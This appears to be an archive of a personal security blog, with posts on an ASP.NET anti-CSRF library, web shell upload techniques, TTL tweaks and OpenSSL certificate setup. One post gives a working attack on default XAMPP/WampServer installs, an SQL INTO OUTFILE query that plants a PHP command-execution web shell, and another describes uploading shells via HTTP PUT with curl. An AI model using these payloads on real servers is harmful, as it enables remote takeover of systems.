Saturday, May 21, 2011

Anti-CSRF & ViewState

What is Cross Site Request Forgery (CSRF) ?
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application. (Read more here…)




How to prevent CSRF?
1. Every request should contain a unique identifier (in HTML form), which is a parameter that an attacker cannot guess. In many web articles suggest ViewStateUserKey alongwith ViewState (for Dot Net Applications) can be used for the same. But it has some limitation. Read more ….



2. One suggested option is to add the session id taken from the session cookie and adding it as a parameter. The server must check that this parameter matches the session cookie. The reason an attacker cannot guess this parameter is the "same origin policy” that applies to cookies, so the attacker cannot forge a fake request that will seem real to the server.







Implementation
The code has been developed in C# language. The implementation is pretty simple. We have created a custom HttpModule which intercepts every request and response to validate a pair of unique key combination. We have used GUID for unique key. The unique key has been placed in a hidden form field as well as in a cookie.



The normal recommended way of adding a CSRF token to an ASP.NET application is to use ViewState in combination with a ViewStateUserKey. This requires ViewState to be enabled and an application to have some way of identifying a user uniquely, usually via a SessionID which in turn requires session state to be enabled. This library does not have these requirements; instead it requires cookies to be enabled on the user's browser and uses a temporary cookie, cleared when the browser is closed, to identify a user and a hidden form field to carry the CSRF token.









The main logic for CSRF attack in the module has been given below:













if (context.Request.HttpMethod.Equals("POST", StringComparison.Ordinal))



{if (context.Request != null){



HttpCookie csrfCookie = context.Request.Cookies



[AntiCsrfSettings.Settings.CookieName];



string csrfFormField = context.Request.Form



[AntiCsrfSettings.Settings.FormFieldName];





...



if (csrfCookie.Value != tokenField)



{RaiseError(new PotentialCsrfException



(Properties.Resources.exceptionMessageNotMatched)



, context);



}}}






Please note the following
* The pages that need to be protected from CSRF attack, no code tampering is required.
* The pages that don’t need to be protected, we need to specify an Attribute for each of those classes. [AntiCsrf.Library.SuppressCsrfCheck]





Installation
The objective of this document is to provide a comprehensive guide for Anti CSRF library for ASP .Net and configuring Anti CSRF mechanism for ASP .Net application.

1. Place the Anti.CSRF.Library.dll in the bin folder of the ASP .Net web application.




2. Open the web.config file of the web application and place the following lines.
3. Under put the following:














type="AntiCSRF.Library.Configuration.AntiCsrfSettings, AntiCSRF.Library" />









4. Under put the following













type="AntiCSRF.Library.AntiCsrfModule, AntiCSRF.Library"/>












Testing
As per the configuration above, if any CSRF attack happens, the website should redirect used to the login page. For testing we have designed an ASP .Net application which allow authenticated user to modify their profile.













A CSRF attack can be done with the above profile change page with the following html page:







Without the Anti CSRF library, if we fire the html with a valid session, the record will be updated accordingly.










Now after implementing the Anti CSRF library, if we fire the same event, the malicious page will be redirected to the Login page:







Limitation



<!--[if !supportLists]-->· <!--[endif]-->GET requests are not protected with this module



<!--[if !supportLists]-->· <!--[endif]-->Non-ASP.NET forms are not protected with this module



Reference



http://anticsrf.codeplex.com






Saturday, July 10, 2010

WebShell files uploading techniques

I'm going to discuss about different techniques/methods of WEB SHELL file upload and its execution. There are few techniques (I knew), as follows,

1. Insecure HTTP method ( PUT methods )
2. Application Flaws / Insecure server configuration (Script execution permission enabled).
3. JBOSS’s jmx-console vulnerability.
4. MySQL-XAMPP/WampServer vulnerability.
5. MS SQL command execution vulnerability.
6. Remote File Inclusion.


1. Insecure HTTP method (PUT methods)

TRACE, CONNECT, DELETE, LOCK, PUT all these HTTP methods are vulnerable from security perspective. For more information go through HTTP/1.1: Method Definitions . I’ll only discuss about HTTP PUT method and its exploitability. Most of the times automated web scanners reports existence of PUT method in web server but always it’s not exploitable. For confirmation you can do the following steps, Try to upload a file with curl. (e.g. curl -T test.txt http://www.sitename.com/foldername ). If file uploaded successfully, then upload any WEB-SHELL file and browse it. If the uploaded WEB-SHELL file successfully executed on the target system then definitely you’ll get full control (logged in user level) of the machine.


2. Application Flaws / Insecure server configuration (Script execution permission enabled)

Sometime web application allow file upload functionality. It can be dangerous, if file type not checked properly and script execution permission on file uploaded directory. Read the scanit’s white paper.

3. JBOSS’s jmx-console vulnerability

JBoss Application Server (or JBoss AS) is a free software/open-source Java EE-based application server. Because it is Java-based, the JBoss application server operates cross-platform: usable on any operating system that supports Java. JBOSS default installation is not secure at all, there are few administrative interfaces like jmx-console, admin-console (default admin/admin) etc can be accessed without any authentication. Using those interfaces JBOSS can be hacked within a minute. nRuns published an wonderful white paper on the Hacking JBoss.


4. MySQL-XAMPP/WampServer vulnerability

For MySQL-XAMPP/WampServer vulnerability read the following article, XAMPP/WampServer PHPMySQLAdmin console vulnerability.

5. MS SQL command execution vulnerability

MS SQL server 2000 is vulnerable to command execution vulnerability. A nice white paper on the same is available here.

6. Remote File Inclusion
Remote File Inclusion (RFI) is a type of vulnerability most often found on websites, it allows an attacker to include a remote file usually through a script on the web server. For more information read the following link.



IMPORTANT: This information is for research and academic purposes only! This info is not to be abused! I am not responsible for any damage that you may create!

Saturday, November 14, 2009

XAMPP/WampServer PHPMySQLAdmin console vulnerability

Hello Friends, today I'm going to discuss an interesting topic on XAMPP/WampServer. The above two applications are easily available on internet and easy-to-use too. You can visit the following web sites for more information.
# http://www.apachefriends.org/en/xampp-windows.html
# http://www.wampserver.com/en/

During internal penetration testing, we noticed most of system administrators (small or medium organization) do not configure the web server (XAMPP/WampServer) properly, they simply deploy the web server with default configuration, without giving php/mysql admin password.

Usually, with default configuration, any user can access the Admin console of that web server and using this admin-console an user can perform create / update / delete operations on mysql database server. From web admin console ( phpinfo() ), we can get server installation path.

I'll tell how phpMysqlAdmin console can destroy a system, the steps are given below,
step 1. Get the web server installation path ( phpinf.php or test.php or phpinfo() ), say 'c:\XAMPP\htdocs'.

step 2. Go to php-mysql admin section.
step 3. Go to Query/sql tab.

step 4.
Write the following sql query into input text area and submit the query,
SELECT "< ? $c = $_GET['cmd']; $op = shell_exec($c); echo $op ? >" into OUTFILE "c:\XAMPP\htdocs\shell.php";

N.B: The above SQL command will create a shell.php file on the web server.
step 5.
After executing the above command , the shell.php file will be accessible
directly, as it was created on web directory.

step 6.
Access the shell.php file from your web browser,
http://x.x.x.x/shell.php?cmd=<your_command>

In your_command field you can use any system command you want to execute.By doing this
you will get full control on the web server and its called Owned-THE-BOX.

Tuesday, July 7, 2009

How to change TTL of TCP packets for windows (xp/nt/2000) & LINUX (kernel 2.4.x) ?

How to change TTL of TCP packets for windows (xp/nt/2000) & LINUX (kernel 2.4.x) ?

For windows , you can change the TTL value, by editing registry value;
======================================================================
1. run ---> regedit
2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
3. Rht. Clk. on Rht. Pane ---> New ---> DWORD value
4. Rename it to DefaultTTL 'n' set the value (0-255).
5. Restart your System.
6. Ping from other system or try Ping localhost

For Linux (Kernel ver-2.4.x & 2.6.x.x)
=============================
I have done it, which is given below,

1. Setting temporary TTL (active till system reboot)
-------------------------------------------------------
...]#echo "123" > "/proc/sys/net/ipv4/ip_default_ttl"

The above command will change the default TTL(64) to 123.

2. Setting TTL Permanently
-----------------------------
I have done nothing ,but automated it -:)...

...]#vi /etc/rc.d/rc3.c/S99local
.
.
.
# added
echo "123" > "/proc/sys/net/ipv4/ip_default_ttl"
.
.
.
.
~
~
~

Change TTL value for Linux ...

You can change your Default TTL value of LINUX by editing the /etc/sysctl.conf file and add the line ,

net.ipv4.ip_default_ttl = <0-255>

&

Reboot your system ...

Apache-ssl and CA


Requirements

Under Debian, the following packages have to be installed via apt-get:

* apache-ssl

* openssl

* libapache-mod-ssl (will automatically be installed by apache-ssl)


The SSL certification process consists of three basic steps:

* If not done already, create a certificate authority (CA), which we will use to sign our own

certificate.

* Create a new certificate request

* Sign the request with our CA to obtain a valid certificate.


Create a certificate authority

The OpenSSL package comes with a default openssl.cnf file under /usr/lib/ssl/openssl.cnf.

We will edit the default values slightly, ie. we change the default path from demoCA to

ourCA. To do so, copy /usr/lib/ssl/openssl.cnf to /etc/ssl/openssl.cnf and change the line

dir = ./demoCA

To

dir = /etc/ssl/ourCA


For security reasons, you will have to create the necessary file and directory structure

manually. In particular, you have to create the following folders and files:


* /etc/ssl/ourCA/

* /etc/ssl/ourCA/index.txt (empty file)

* /etc/ssl/ourCA/newcerts/

* /etc/ssl/ourCA/private/

* /etc/ssl/ourCA/serial (file containing "01" as the first and only line)


We can now tell openssl to create a new certification authority for us:


#openssl req -new -x509 -keyout /etc/ssl/ourCA/private/cakey.pem -out

/etc/ssl/ourCA/cacert.pem -config /etc/ssl/openssl.cnf


You will be asked a few questions about the new CA. Just enter information that makes sense

and is valid. Also, choose a good passphrase, since you'll have to remember it every time

you want to validate and sign a new certificate request.


Issue a certificate request

We are now ready for the interesting part of this tutorial. To create a certificate request, execute

#openssl req -new -keyout newkey.pem -out newreq.pem -days 365


OpenSSL will again ask you a few questions. Make sure that you enter the hostname of your SSL

server as "Common Name". This is very important and things will break if you don't do it.


If everything went fine, this will give you two new files in the directory where you ran this

command. The first is our certificate private key and the second file (newreq.pem) is the c

ertificate request for the CA.


There is one obstacle with the private key in the current form: It requires a passphrase to be

used. That means, if you want Apache to use this SSL key, you'll have to supply the passphrase

at Apache's startup. This is not very handy, for sure. We can however, remove the passphrase by

running:

#openssl rsa -in newkey.pem -out nopwkey.pem


You will be asked for the private's key passphrase. If things went right, you will have a new

private key called nopwkey.pem, which is not passphrase protected anymore.


To let a CA sign a certificate request, they need both, our private key and the certificate

request. We can combine both into one file by cat'ing them together:

#cat newreq.pem nopwkey.pem > new.pem


Signing the certificate

The last step consists of the actual signing process. Just issue


#openssl ca -policy policy_anything -out newcert.pem -config /etc/ssl/openssl.cnf

-infiles new.pem


in the same directory where your certification request files are stored. You will first be asked for the CA passphrase (now you know why it is important to remember it!) and you can then either sign or reject the certificate.


You should now copy newcert.pem and nopwkey.pem to some convenient place, since Apache will only need those two files to operate in SSL mode.


Apache-SSL configuration

Under Debian, the SSL enabled Apache version has its own configuration file, available under /etc/apache-ssl/httpd.conf. Edit and change or add the following lines:


SLCertificateFile /path/to/newcert.pem //This is our signed certificate

SSLCertificateKeyFile /path/to/nopwkey.pem //This is our unencrypted private key.


Start Apache-SSL by executing,

#/etc/init.d/apache-ssl start

GENERATING A CERTIFICATE REQUEST FROM A WINDOWS 2003 SERVER MACHINE AND AUTHORIZING IT FROM OPENSSL CA-SERVER.


  1. After the installation of IIS. Go to the Internet Information Services Manager . Select the website where we require to install the certificate. then right click on the default website. Then select directory security tab.

On the Directory Security tab, click Server Certificate

Click Next and select Create A New Certificate

Select Prepare The Request Now, But Send It Later and click Next

Type a name for the certificate and bit length, and then click Next.

Type your organizational name and organizational unit in the box provided and click Next.

Enter your Web server name and click Next.

In the next dialog box, provide some geographical information and click Next.

Enter the location and the name for the certification request, then click Next.

Verify the information and click Next, and then click Finish.By default The request file will be saved in the (c:\>) drive. The file type will be (.txt) format.Copy it and take it to the OPENSSL CA server .

  1. In the OPENSSL server paste it in the CA-server directory. Rename it to (newreq.pem). (because the OPENSSL command to sign a certificate request takes only this name so it must be newreq.pem and will be in the current directory).

  2. Now, lets sign the 'certificate request':

$sh /usr/lib/ssl/misc/CA.sh -sign ( The CA.sh file is automatically stored in that specified loacation at the time of CA installation).

  1. After the file sign process completed the certificate is created named (newcert.pem ) in the current directory.

  2. This certificate will not be supported by a windows 2003 server. You have to again rename it to .cer file.

  3. Take the .cer file to the windows machine. Again select the Internet information service manager(IIS).

  4. Go to the Internet Information Services Manager .

Select the website where we require to install the certificate then right click on the default website.

Then select directory security tab.

On the Directory Security tab, click Server Certificate.

select process the pending request and install it.

Then browse and select the new certificate and click next then finish. The newly installed certificate will be installed. You can see the certificate by clicking on the view certificate button.